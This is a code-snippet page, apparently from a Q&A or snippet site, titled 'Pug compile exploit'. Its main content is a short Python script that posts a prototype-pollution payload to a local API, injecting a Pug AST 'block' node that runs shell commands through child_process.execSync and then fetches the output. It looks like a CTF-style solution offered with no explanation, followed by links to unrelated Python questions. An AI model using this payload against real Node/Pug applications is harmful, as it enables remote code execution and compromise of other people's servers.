Pug compile exploit

import requests

ENDPOINT = 'http://127.0.0.1:1337/api/submit'
OUTPUT = 'http://127.0.0.1:1337/static/out'

request = requests.post(ENDPOINT, json = {
   "artist.name":"Gingell",
       "__proto__.block": {
           "type":"Text",
           "line":"process.mainModule.require('child_process').execSync('ls > /app/static/out')"
       }
})
print (request.text)
print (requests.get(OUTPUT).text)

Similar codes

2 votes212 views2 answers
How to invert plot axis python
Python
0 vote215 views1 answer
Filter dataframe with a list of index
Python
0 vote224 views1 answer
Menubar pyqt
Python
0 vote223 views1 answer
Pyplot set x range
Python
0 vote214 views1 answer
Add dir to path python
Python
1 vote213 views2 answers
Django class based views
Python Django
0 vote213 views1 answer
Best way to calculate tax python
Python
0 vote252 views2 answers
BUILD FAILED (Ubuntu 20.04 using python-build 20180424)
Python
0 vote212 views1 answer
List all subdirectories up to a level
Python
1 vote212 views1 answer
Find absolut vale in python
Python